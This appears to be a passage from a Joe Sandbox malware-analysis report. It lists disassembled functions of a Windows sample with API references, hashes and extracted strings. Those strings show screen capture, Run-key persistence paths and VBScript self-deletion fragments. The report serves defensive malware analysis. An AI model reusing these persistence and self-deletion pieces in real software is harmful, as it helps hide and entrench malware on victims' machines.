                                                                                            • Instruction Fuzzy Hash: FF9198722090A35DDB29423E843403FFFE15A563A1B1B679FE4F3CB2C5ED28C5699624
                                                                                            Function 00436F58 Relevance: .2, Instructions: 244COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
                                                                                            • Instruction ID: 3a5f3f28e05ced0c476ae62a9fbfc87eb2deb37e5825eaa5068885373994e230
                                                                                            • Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
                                                                                            • Instruction Fuzzy Hash: 5B9154B310C0E349DB3D4639847403FFEF15A563A1B1A679FE4F2CA2C5EE288565D624
                                                                                            Function 004369D6 Relevance: .2, Instructions: 240COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
                                                                                            • Instruction ID: eb820b35a2641912eb9ff5d16cdfa81a50ceb30e04b2f4d47c9798fb0fa66f46
                                                                                            • Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
                                                                                            • Instruction Fuzzy Hash: 3491A7722090A31DDB2D4639843403FFFE15A563A1B1BA79FD4F2CB2C5ED28D964DA24
                                                                                            Function 0043D04B Relevance: .2, Instructions: 237COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 364cc13a289dc0ce81a78afd7db0cdc41a28cfc106a277fbe5b23d2174104350
                                                                                            • Instruction ID: 3cf18c0d826463afbe89e475a5c7b17f33369b7a6d620af3ef40d0ad4ead64e4
                                                                                            • Opcode Fuzzy Hash: 364cc13a289dc0ce81a78afd7db0cdc41a28cfc106a277fbe5b23d2174104350
                                                                                            • Instruction Fuzzy Hash: 10615771E0060867EE386968B856BBF23A4AF4DB18F14341BE843DB385D65DDD43835E
                                                                                            Function 0043D2A8 Relevance: .2, Instructions: 237COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: e08550926610149d2907a64cdab228bdd5846e9e2727ceec6c104fc9914690c2
                                                                                            • Instruction ID: b9fa1b0b40c6464c7c23e4f783a2c4cc8d7b3f542efc6a4ce67a7e3fa50c54dc
                                                                                            • Opcode Fuzzy Hash: e08550926610149d2907a64cdab228bdd5846e9e2727ceec6c104fc9914690c2
                                                                                            • Instruction Fuzzy Hash: 596136B1E0060896DB385A28B8967BF2398EB5D304F14351BEC83DB381D66DED46875F
                                                                                            Function 0043672C Relevance: .2, Instructions: 232COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
                                                                                            • Instruction ID: 7b3a2e63247afe9edf549f88f25df29c5744deddbf3acd7c38ddff1b86da152b
                                                                                            • Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
                                                                                            • Instruction Fuzzy Hash: A081C9B21090A31DDB2D423A853413FFFE15E553A1B1BA79FD4F2CA2C5EE28C564D624
                                                                                            Function 0043CBED Relevance: .2, Instructions: 214COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: e4e8e107ebb569481f6dec165aac6f3bea1aaf1a879556bc36ff33913e703c4a
                                                                                            • Instruction ID: cee5e8aa058cab72f47c1252862074b7a33edcf92ba99b8242ad85c8d79f7feb
                                                                                            • Opcode Fuzzy Hash: e4e8e107ebb569481f6dec165aac6f3bea1aaf1a879556bc36ff33913e703c4a
                                                                                            • Instruction Fuzzy Hash: 6A51787160060857DB395A6885D67BF2B899B0E344F18742FE48BFB382C60DED12D39E
                                                                                            Function 0043CE1C Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
                                                                                            • Instruction ID: a1764f4878c0090f3dddee11b9fa4dd44c6bcaf443cdbc9a7423fc55b8fdb92d
                                                                                            • Opcode Fuzzy Hash: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
                                                                                            • Instruction Fuzzy Hash: 285138616407049BDB38856884DB7BF679A9B5E704F18390FE486F73C2C60DEE06875E
                                                                                            Function 004271B8 Relevance: .2, Instructions: 186COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 1c779f12f611b8dda6e5ae50ec22da61f8b8ae12354eff81384336edfcffc5bc
                                                                                            • Instruction ID: b54697577a8b4caa58ab057165119fb3c01a9d9d25aa48dfc33613f80cd324c0
                                                                                            • Opcode Fuzzy Hash: 1c779f12f611b8dda6e5ae50ec22da61f8b8ae12354eff81384336edfcffc5bc
                                                                                            • Instruction Fuzzy Hash: D2616D32A0C3059FC308DF75E581A5BB7E5BFCC718F910D1EF4899A151E634EA088B96
                                                                                            Function 00418195 Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 324windowmemoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004181AF
                                                                                            • CreateCompatibleDC.GDI32(00000000), ref: 004181BA
                                                                                              • Part of subcall function 00418648: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00418678
                                                                                            • CreateCompatibleBitmap.GDI32(?,00000000), ref: 0041823B
                                                                                            • DeleteDC.GDI32(?), ref: 00418253
                                                                                            • DeleteDC.GDI32(00000000), ref: 00418256
                                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00418261
                                                                                            • StretchBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,?,00CC0020), ref: 00418289
                                                                                            • GetCursorInfo.USER32(?), ref: 004182AB
                                                                                            • GetIconInfo.USER32(?,?), ref: 004182C1
                                                                                            • DeleteObject.GDI32(?), ref: 004182F0
                                                                                            • DeleteObject.GDI32(?), ref: 004182FD
                                                                                            • DrawIcon.USER32(00000000,?,?,?), ref: 0041830A
                                                                                            • BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00660046), ref: 0041833A
                                                                                            • GetObjectA.GDI32(?,00000018,?), ref: 00418369
                                                                                            • LocalAlloc.KERNEL32(00000040,00000028), ref: 004183B2
                                                                                            • LocalAlloc.KERNEL32(00000040,00000001), ref: 004183D5
                                                                                            • GlobalAlloc.KERNEL32(00000000,?), ref: 0041843E
                                                                                            • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00418461
                                                                                            • DeleteDC.GDI32(?), ref: 00418475
                                                                                            • DeleteDC.GDI32(00000000), ref: 00418478
                                                                                            • DeleteObject.GDI32(00000000), ref: 0041847B
                                                                                            • GlobalFree.KERNEL32(00CC0020), ref: 00418486
                                                                                            • DeleteObject.GDI32(00000000), ref: 0041853A
                                                                                            • GlobalFree.KERNEL32(?), ref: 00418541
                                                                                            • DeleteDC.GDI32(?), ref: 00418551
                                                                                            • DeleteDC.GDI32(00000000), ref: 0041855C
                                                                                            • DeleteDC.GDI32(?), ref: 0041858E
                                                                                            • DeleteDC.GDI32(00000000), ref: 00418591
                                                                                            • DeleteObject.GDI32(?), ref: 00418597
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Delete$Object$AllocCreateGlobal$CompatibleFreeIconInfoLocal$BitmapBitsCursorDisplayDrawEnumSelectSettingsStretch
                                                                                            • String ID: DISPLAY
                                                                                            • API String ID: 1352755160-865373369
                                                                                            • Opcode ID: c2650fb3875e3fb604421f5a4b34c401a04881385d4c5952eea33830de239ef4
                                                                                            • Instruction ID: a1654617e6feb41a21483335bab58d6c80918fdf06c9fa75f2eb3c48c5790805
                                                                                            • Opcode Fuzzy Hash: c2650fb3875e3fb604421f5a4b34c401a04881385d4c5952eea33830de239ef4
                                                                                            • Instruction Fuzzy Hash: EFC16C31504344AFD7209F21CC44BABBBE9EF88751F44482EF989A32A1DF34E945CB5A
                                                                                            Function 0040C28E Relevance: 47.5, APIs: 6, Strings: 21, Instructions: 282registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00411771: TerminateProcess.KERNEL32(00000000,pth_unenc,0040E748), ref: 00411781
                                                                                              • Part of subcall function 00411771: WaitForSingleObject.KERNEL32(000000FF), ref: 00411794
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040C38B
                                                                                            • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C39E
                                                                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040C3B7
                                                                                            • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040C3E7
                                                                                              • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(004099A9,00000000,00475308,pth_unenc,0040BF26,h&y,00475308,?,pth_unenc), ref: 0040AFC9
                                                                                              • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32(00475108), ref: 0040AFD5
                                                                                              • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(Function_00009993,00000000,?,pth_unenc), ref: 0040AFE3
                                                                                              • Part of subcall function 0041B79A: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,00466900,00000000,00000000,0040C267,00000000,00000000,fso.DeleteFile(Wscript.ScriptFullName)), ref: 0041B7D9
                                                                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466900,00466900,00000000), ref: 0040C632
                                                                                            • ExitProcess.KERNEL32 ref: 0040C63E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                            • String ID: SG$ SG$ SG$""", 0$")$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$PSG$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                            • API String ID: 1861856835-1415323999
                                                                                            • Opcode ID: cea02e6f2e6cac927d07c457fa6cf3fefe0ef94e99af9b5e780704edb606d5e1
                                                                                            • Instruction ID: 61d23169d088639e971774d7266815e56d2523c1fe05d3951d40341dc357c42d
                                                                                            • Opcode Fuzzy Hash: cea02e6f2e6cac927d07c457fa6cf3fefe0ef94e99af9b5e780704edb606d5e1
                                                                                            • Instruction Fuzzy Hash: F891A3316042005AC314FB21D852AAF7799AF90318F50453FF88AB71E2EF7CAD49C69E
                                                                                            Function 0041138D Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 189synchronizationsleepfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateMutexA.KERNEL32(00000000,00000001,00000000,00475308,?,00000000), ref: 004113AC
                                                                                            • ExitProcess.KERNEL32 ref: 004115F5
                                                                                              • Part of subcall function 00412735: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,00475308), ref: 00412751
                                                                                              • Part of subcall function 00412735: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0041276A
                                                                                              • Part of subcall function 00412735: RegCloseKey.KERNEL32(00000000), ref: 00412775
                                                                                              • Part of subcall function 0041B825: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,00409F65), ref: 0041B83E
                                                                                            • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,?,00000000), ref: 00411433
                                                                                            • OpenProcess.KERNEL32(00100000,00000000,,@,?,?,?,?,00000000), ref: 00411442
                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 0041144D
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 00411454
                                                                                            • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 0041145A
                                                                                              • Part of subcall function 004128AD: RegCreateKeyA.ADVAPI32(80000001,00000000,TeF), ref: 004128BB
                                                                                              • Part of subcall function 004128AD: RegSetValueExA.KERNEL32(TeF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128D6
                                                                                              • Part of subcall function 004128AD: RegCloseKey.KERNEL32(?,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128E1
                                                                                            • PathFileExistsW.SHLWAPI(?,?,?,?,?,00000000), ref: 0041148B
                                                                                            • GetTempPathW.KERNEL32(00000104,?,?,?,?,?,?,?,?,00000000), ref: 004114E7
                                                                                            • GetTempFileNameW.KERNEL32(?,temp_,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00411501
                                                                                            • lstrcatW.KERNEL32(?,.exe,?,?,?,?,?,?,?,00000000), ref: 00411513
                                                                                              • Part of subcall function 0041B79A: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041B7F6
                                                                                              • Part of subcall function 0041B79A: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041B80A
                                                                                              • Part of subcall function 0041B79A: CloseHandle.KERNEL32(00000000), ref: 0041B817
                                                                                            • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 0041155B
                                                                                            • Sleep.KERNEL32(000001F4,?,?,?,?,00000000), ref: 0041159C
                                                                                            • OpenProcess.KERNEL32(00100000,00000000,?,?,?,?,?,00000000), ref: 004115B1
                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 004115BC
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 004115C3
                                                                                            • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 004115C9
                                                                                              • Part of subcall function 0041B79A: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,00466900,00000000,00000000,0040C267,00000000,00000000,fso.DeleteFile(Wscript.ScriptFullName)), ref: 0041B7D9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateProcess$HandleOpen$CurrentObjectPathSingleTempValueWait$ExecuteExistsExitMutexNamePointerQueryShellSleepWritelstrcat
                                                                                            • String ID: ,@$.exe$0TG$PSG$WDH$exepath$open$temp_
                                                                                            • API String ID: 4250697656-4136069298
                                                                                            • Opcode ID: 2fd3db40bcfcb123c7f371e9fffed1024a898598ae292dedf0fcb2e93deb36eb
                                                                                            • Instruction ID: 17001e37a1d7cf9a3413e78a7a022695eb621cd558d1591dce66fb7483b9d66c
                                                                                            • Opcode Fuzzy Hash: 2fd3db40bcfcb123c7f371e9fffed1024a898598ae292dedf0fcb2e93deb36eb
                                                                                            • Instruction Fuzzy Hash: 7551B571A00315BBDB00A7A09C46EFE736E9B44715F10416BF906B71E2EF788E858A9D
                                                                                            Function 0041A3B1 Relevance: 42.2, APIs: 12, Strings: 12, Instructions: 180synchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041A4A8
                                                                                            • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041A4BC
                                                                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,00466554), ref: 0041A4E4
                                                                                            • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00474EE0,00000000), ref: 0041A4F5
                                                                                            • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041A536
                                                                                            • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041A54E
                                                                                            • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041A563
                                                                                            • SetEvent.KERNEL32 ref: 0041A580
                                                                                            • WaitForSingleObject.KERNEL32(000001F4), ref: 0041A591
                                                                                            • CloseHandle.KERNEL32 ref: 0041A5A1
                                                                                            • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041A5C3
                                                                                            • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041A5CD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                            • String ID: alias audio$" type $TeF$close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                                                                            • API String ID: 738084811-3504112074
                                                                                            • Opcode ID: 394d5e867bbc7c42238ebd6a71388d9362caee40909c1db7417fa6a940b472c2
                                                                                            • Instruction ID: 23b594f260307180257043fa1e2d6aa1707bafa700398656917524c484c431be
                                                                                            • Opcode Fuzzy Hash: 394d5e867bbc7c42238ebd6a71388d9362caee40909c1db7417fa6a940b472c2
                                                                                            • Instruction Fuzzy Hash: A251B1716442046AD214BB32EC92EBF3B9DAB90758F10443FF445621E2EE789D48866F
                                                                                            Function 0040BC67 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 203fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcslen.LIBCMT ref: 0040BC75
                                                                                            • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750FC,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040BC8E
